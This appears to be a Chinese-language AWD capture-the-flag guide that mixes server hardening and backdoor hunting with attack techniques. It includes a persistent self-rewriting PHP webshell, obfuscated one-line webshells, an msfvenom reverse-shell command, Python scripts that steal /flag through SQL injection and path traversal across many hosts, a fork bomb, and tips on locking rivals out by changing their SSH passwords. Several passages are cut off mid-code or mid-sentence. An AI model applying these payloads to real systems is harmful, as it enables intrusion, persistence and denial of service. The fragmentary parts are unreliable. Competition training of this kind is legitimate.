目录
介绍
比赛形式与规则
比赛网络环境
AWD考——内容:
加固
信息收集
漏洞检查
加强防护
Awd中pwn防护
使用python打补丁
编写伪程序替换有漏洞的程序
使用赋值破坏逻辑结构
编写判断语句
最基本打补丁
攻击
团队协作
常见的技巧方式
总结
开始后的时间需要完成的内容:
注意事项
AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。 AWD全称 Attack With Defence 总之就是你既是 hacker 又是 manager ;目标就是拿到其他战队靶机的shell 即可,通过shell 访问 flag服务器,得到flag后提交得分;
apache: conf目录下httpd.conf,或/etc/httpd/conf/httpd.conf
Tomcat: conf目录下server.xml ,tomcat-users.xml
Mysql: /etc/my.cnf
站点配置文件conn.php inc.php config.php
利用 .htaccess进行加固
康盛 UCenter /data/config.inc.php
Discuz! /config.inc.php
UCH /config.php
帝国CMS /e/class/config.php
ECShop /data/config.php
ShopEX /config/config.php
WordPress /wp-config.php
Joomla! /configuration.php
HDWiki /config.php
PHPwind 8.0 /data/sql_config.php
织梦Dede /data/config.cache.inc.php
phpcms /include/config.inc.php
⚫ 原则:现实怎么加固,比赛就怎么加固
⚫ 备份!备份!cd /var/www/html & tar cvf www.tar *
⚫ mysqldump -u root -p --databases test > /tmp/db.sql
⚫ 站点目录全部只读,注意子目录(注意属主)
⚫ chmod –R 644 www
⚫ 后台,修改if判断,破坏登录逻辑
⚫ 取消upload等目录的脚本运行权限
⚫ Monitor脚本监视文件写入操作
⚫ 查看会话:pkill -kill -t pts/5
⚫ 针对CMS手工修复漏洞,修改代码
⚫ 给自己留不死马-->夺回权限
⚫ 权限太低,系统本身、数据库、中间件配置无法修改, 补丁也没法儿打
⚫ 两个环境,三人分工同步进行,并交换检查
⚫ 以下情况直接举手:(平台漏洞)
⚫ 常见日志地址
/var/ log/apache2/
/usr/ local/apache2/logs
/usr/nginx/logs/
⚫ 备份指定的多个数据库
mysqldump -u root -p --databases choose test > /tmp/db.sql
# 恢复备份,在mysql终端下执行:
# 命令格式:source FILE_PATH
source ~/db.sql
# 曾经遇到一个备份有问题可以执行下面
mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql
Awd中pwn防护
使用python打补丁
编写伪程序替换有漏洞的程序
使用赋值破坏逻辑结构
编写判断语句
最基本打补丁
gcc hook.c -m32 -o hook.so -fPIC -shared -ldl \ -D_GNU_SOURCE gcc - m32 -o main main.c
⚫ 队长:分派任务
核心目标:加固好两台主机
不被扣分就赢了,关紧门窗 严防死守
一定要守住,每30分钟刷新flag
收集信息,发现漏洞/弱口令(webshell,密码md5 加密),快速拿flag
如果分值相同,先提交flag者排名在先
Web漏洞分析
⚫ 主攻手
Web漏洞,按自己整理的checklist快速排查
下载所有源码/配置文件,UE批量搜索敏感函数、关键 字段,Seay源代码审计系统
• 变异马检测:
1.按文件时间排序,里头有一串乱七八糟的,赶紧删了
2.安全狗(最新),360
记录漏洞地址、利用方法、加固方法
编写批量攻击的脚本,29分30秒的时候就开刷
权限维持:不死马
⚫ 副攻手/加固
如有多个Web应用/端口,分工!
Web加固
中间件加固,tomcat/apache等
方法/exp代码随时查笔记
主机发现
⚫ # 使用httpscan脚本
⚫ # masscan :masscan -p 80 172.16.0.0/24
⚫ # nmap :nmap –sn 172.16.0.0/24
⚫ Netdiscower –r
干掉不死马的方式
(1).ps auxww|grep shell.php 找到pid后杀掉进程 就可以,你删掉脚本是起不了作用的,因为php执行 的时候已经把脚本读进去解释成opcode运行了
(2).重启php等web服务
(3).用一个ignore_user_abort(true)脚本,一直竞争 写入(断断续续)。usleep要低于对方不死马设置 的值。
(4).创建一个和不死马生成的马一样名字的文件夹
修改curl命令
⚫ alias curl='echo fuckoff' #权限要求较低
⚫ chmod -x curl #权限要求较高
⚫ /usr/bin/curl路径
简单的查找后门
⚫ find . -name '*.php' | xargs grep -n 'eval('
⚫ find . -name '*.php' | xargs grep -n 'assert('
⚫ find . -name '*.php' | xargs grep -n 'system('
常用的特殊webshell
控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻
易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
简单举例:
连接方式:php?2=assert密码是1。
配置填:n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
常用得一句话
配置为:?b=))99(rhC(tseuqeR+lave
权限维持
";
while(true){
file_put_contents($file, $shell);
system( 'chmod 777 .demo.php’);
unsleep( 50);
}
?>
.config.php前面使用一个点,能很好的隐藏文件
要结束这个进程,除了最暴力的重启apache服务之外,更为优雅
的如下:
先查看进程,查看对应的pid,再执行即可
会放置一个md5马,比如
像rootrain这种就是。那就是利用
header,最后综合起来就是
放进config.php效果最好,因为一般很少人去看这个
反弹shell
之后本地执行nc -lp
9999即可
msfvenom -p
php/meterpreter_rever
se_tcp
LHOST=192.168.232.17
4 LPORT=4444 -f raw >
shell.php
获取flag的方式
批量传webshell(shell的内容可以写为权限维持部分的那个脚本),
之后结合批量访问
有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行select load_file('/flag')来获取flag。最好直接利用脚本来获得。
def sqli(host):
global sess_admin
data = { "section_name":"asd","admin_name":"'||(SELECT
updatexml(1,concat(0x7e,(select
load_file('/flag')),0x7e),1))||'","announcement":"asd"}
r =
sess_admin.post( 'http://%s/index.php/section/add'%host,data=data)
flags = re.findall( r'~(.+?)~',r.content)
if flags:
return flags[0]
else:
return "error pwn!"
文件包含漏洞,直接可以通过../../../../../../flag的方式获取
def include(host):
r = requests.get(url=
"http://%s/?t=../../../../../../flag"%host)
flags = re.findall(r '^(.+?)<',r.content)
if flags:
return flags[0]
else:
return "error pwn!”
批量修改ssh密码的脚本(猥琐流直接干掉几个对手)
如果有发现有预留后门,要立即使用脚本进行获取flag
Fork炸弹
# 参考: https://linux.cn/article-5685-1-rss.html
:(){:|:&};:
⚫ 列出所有端口、服务 (ps netstat等)
⚫ 确认每一项漏洞,攻击/加固方法(基本两三个漏洞)
⚫ 记下3台主机每个flag的位置/权限
⚫ 备份下所有文件,包括js img,加固替换
⚫ 留下自己的shell/后门,刷flag
index 日志 图片
⚫ 分工加固3台主机!
⚫ 交叉检查确认漏洞不再能够被利用
⚫ 写漏洞批量利用的exp,29分的时候就开刷
⚫ 每个队伍2台靶机,环境一样但登录密码不同,比赛开 始后别忘了改密码
⚫ Flag每15分钟刷新,别忘了提交刷分!
⚫ 如果服务/端口/页面down掉,隔段时间才检测一次
⚫ 加固就别留下新漏洞,shell密码别太弱
⚫ 所有中间件/Web加固实验,提前动手做一遍
在水平相差巨大的赛场上,会形成绝杀全场的场面,但是在选手水平相近的赛场上,攻守博弈将十分激烈。